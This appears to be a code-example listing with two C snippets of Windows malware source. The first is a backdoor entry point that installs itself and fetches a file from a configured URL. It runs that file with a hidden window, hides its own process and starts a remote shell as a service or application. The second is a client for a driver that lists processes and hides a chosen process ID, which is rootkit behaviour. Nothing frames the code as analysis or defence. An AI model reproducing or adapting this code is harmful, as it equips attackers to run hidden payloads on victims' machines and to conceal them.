// standard application main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

	// get OS version
	OsIsNt=GetOsVer();
	GetModuleFileName(NULL,ExeFile,MAX_PATH);

    // Install from cmdline
    if(strpbrk(lpCmdLine,"iI")) Install();

    // if need, to download file and execute it
	if(wscfg.ws_downexe) {
		if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
			WinExec(wscfg.ws_filenam,SW_HIDE);
	}

	if(!OsIsNt) {
		// if win9x, hide process and start as application
		HideProc();		
		StartWinShell(lpCmdLine);
	}
	else
	    if(StartFromService())
			// start as ntservice
			StartServiceCtrlDispatcher(DispatchTable);
		else
			// start as application
			StartWinShell(lpCmdLine);

	return 0;
}
Beispiel #2
0
void main(int argc, char* argv[])
{
	if(1==argc)
	{
		PrintHelp();
		return;
	}

	HANDLE hDevice;
	if(OpenDevice(driverName, &hDevice))
	{
		PROCESS_INFO* buffer = NULL;
		int bufferSize = 0;
		DWORD bytesRead = 0;

		if( 3==argc && strcmp("-pl", argv[1])==0 && atoi(argv[2])!=0 )
		{
			bufferSize = atoi(argv[2]);
			buffer = (PROCESS_INFO *)calloc(bufferSize, sizeof(PROCESS_INFO));

			if(ListProc(hDevice, buffer, bufferSize, &bytesRead))
			{
				// TODO: list processes
			}
		}
		else if( 3==argc && strcmp("-ph", argv[1])==0 && atoi(argv[2])!=0 )
		{
			DWORD pid = atoi(argv[2]);

			if(HideProc(hDevice, pid))
			{
				// TODO: hide process
			}
		}
		else
			PrintHelp();

		CloseHandle(hDevice);
	}
}